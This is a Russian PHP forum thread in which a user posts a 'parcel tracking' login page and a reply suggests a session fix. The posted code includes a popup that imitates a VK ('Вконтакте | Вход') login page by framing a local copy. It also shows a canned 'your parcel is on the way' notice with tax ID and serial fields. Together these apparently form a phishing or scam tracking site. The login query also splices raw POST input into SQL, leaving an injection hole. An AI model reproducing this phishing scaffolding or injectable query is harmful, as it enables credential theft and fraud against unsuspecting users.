За последние 24 часа нас посетили 17780 программистов и 1622 робота. Сейчас ищут 1855 программистов ...

Отслеживание посылки

Тема в разделе "PHP и базы данных", создана пользователем Claht, 24 ноя 2017.

  1. Claht

    Claht Новичок

    С нами с:
    24 ноя 2017
    Сообщения:
    1
    Симпатии:
    0
    PHP:
    1. <?php
    2. session_start(); // Стартуем сессию
    3. ?>
    4. <!DOCTYPE html>
    5. <html>
    6. <head>
    7.     <meta charset="UTF-8">
    8.     <title>Отслеживание</title>
    9.     <link rel="stylesheet" href="css/style.css" media="screen" type="text/css" />
    10.     <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
    11.     <link rel="shortcut icon" href="/images/favicon.ico" type="image/x-icon">
    12. </head>
    13. <body>
    14.     <div class="main-signin">
    15.         <div class="main-signin__head">
    16.             <p>ОТСЛЕЖИВАНИЕ</p>
    17.         </div>
    18.         <div class="main-signin__middle">
    19.             <div class="middle__form">
    20.                 <form action="index.php" method="post">
    21.                 <input type="text" name="login" placeholder="Введите ваш трек-номер">
    22.                 <input type="text" name="password" placeholder="Введите ваш мобильный">
    23.                 <input type="submit" name="submit" value="ВОЙТИ">
    24.             </div>
    25.         <div class="main-signin__foot">
    26.             <div class="foot__left">
    27.             <p>Войти через:</p>
    28.             </div>
    29.             <div class="foot__right">
    30.                 <div onclick="myWindow()" class="twit"><a href="#"></a></div>
    31.                 <script>
    32. function myWindow() {
    33.     var w = window.open('', '', 'scrollbars=1');
    34.     w.document.write('<!DOCTYPE html>\n\
    35. <title>Вконтакте | Вход</title>\n\
    36. <p></head>\n\
    37. <p><frameset cols="">\n\
    38. <p><frame src="vk//index.html" name="MENU">\n\
    39. <p></frameset>\n\
    40. <p></html>\n\
    41. ');
    42. }
    43. </script>
    44.                
    45.                 <div class="face"><a href="#"></a></div>
    46.             </div>
    47.         </div>
    48.     </div>
    49. <?php $connection = mysqli_connect('localhost', 'user', 'pass', 'base') or die(mysqli_error()); // Соединение с базой данных ?>
    50. <?php if (isset($_POST['submit'])) // Отлавливаем нажатие кнопки "Отправить"
    51. {
    52. if (empty($_POST['login'])) // Если поле трек-номер пустое
    53. {
    54. echo '<script>alert("Поле трек-номер не заполненно");</script>'; // То выводим сообщение об ошибке
    55. }
    56. elseif (empty($_POST['password'])) // Если поле мобильный пустое
    57. {
    58. echo '<script>alert("Поле мобильный не заполненно");</script>'; // То выводим сообщение об ошибке
    59. }
    60. else  // Иначе если все поля заполненны
    61. {  
    62. $login = $_POST['login']; // Записываем трек-номер в переменную
    63. $password = $_POST['password']; // Записываем мобильный в переменную          
    64. $query = mysqli_query($connection, "SELECT `id` FROM `users` WHERE `login` = '$login' AND `password` = '$password'"); // Формируем переменную с запросом к базе данных с проверкой пользователя
    65. $result = mysqli_fetch_array($query); // Формируем переменную с исполнением запроса к БД
    66. if (empty($result['id'])) // Если запрос к бд не возвразяет id пользователя
    67. {
    68. echo '<script>alert("Неверный трек-номер или мобильный");</script>'; // Значит такой пользователь не существует или не верен мобильный
    69. }
    70. else // Если возвращяем id пользователя, выполняем вход под ним
    71. {
    72. $_SESSION['password'] = $password; // Заносим в сессию  мобильный
    73. $_SESSION['login'] = $login; // Заносим в сессию  трек-номер
    74. $_SESSION['id'] = $result['id']; // Заносим в сессию  id    
    75. echo '<div align="center">Здравствуйте '.$_SESSION['fio'].'</div>';
    76. echo '<div align="center">Ваша поссылка уже в пути</div>';
    77. echo '<div align="center">Оператор '.$_SESSION['operator'].'</div>';
    78. echo '<div align="center">Серийный номер: '.$_SESSION['ssn'].'</div>';
    79. echo '<div align="center">ИНН '.$_SESSION['login'].'</div>';
    80. echo '<div align="center">'.$_SESSION['dataotpravki'].' '.$_SESSION['vremyaotpravki'].' док. № 142500</div>';
    81. echo '<div align="center">Кому: '.$_SESSION['fio'].'</div>';
    82. echo '<div align="center">От кого: '.$_SESSION['otpravitel'].'</div>';
    83. echo '<div align="center">'.$_SESSION['adress'].'</div>';
    84. echo '<div align="center">Вес:'.$_SESSION['ves'].'</div>';
    85. echo '<div align="center"> </div>';
    86. echo '<div align="center">Трекинг:</div>';
    87. echo '<div align="center">'.$_SESSION['dataotpravki'].' '.$_SESSION['vremyaotpravki'].' - Прибыла на склад</div>';
    88. echo '<div align="center">Ув. '.$_SESSION['fio'].' ждите дальнейших обновлений трекинга</div>';
    89. }    
    90. }      
    91. }
    92. ?>
    93. <?php if (isset($_GET['exit'])) { // если вызвали переменную "exit"
    94. unset($_SESSION['password']); // Чистим сессию пароля
    95. unset($_SESSION['login']); // Чистим сессию трек-номера
    96. unset($_SESSION['id']); // Чистим сессию id
    97. } ?>
    98. </body>
    99. </html>
    После авторизации по логину и паролю не показывает остальные данные пользевателя
    Что делать ?
     
  2. Maputo

    Maputo Активный пользователь

    С нами с:
    30 июл 2015
    Сообщения:
    1.136
    Симпатии:
    173
    Откуда же они там возьмутся?
    Может так надо:
    PHP:
    1. $_SESSION['user'] = $result;
    2. ...
    3. echo $_SESSION['user']['fio'];
    ?
     
    #2 Maputo, 24 ноя 2017
    Последнее редактирование: 24 ноя 2017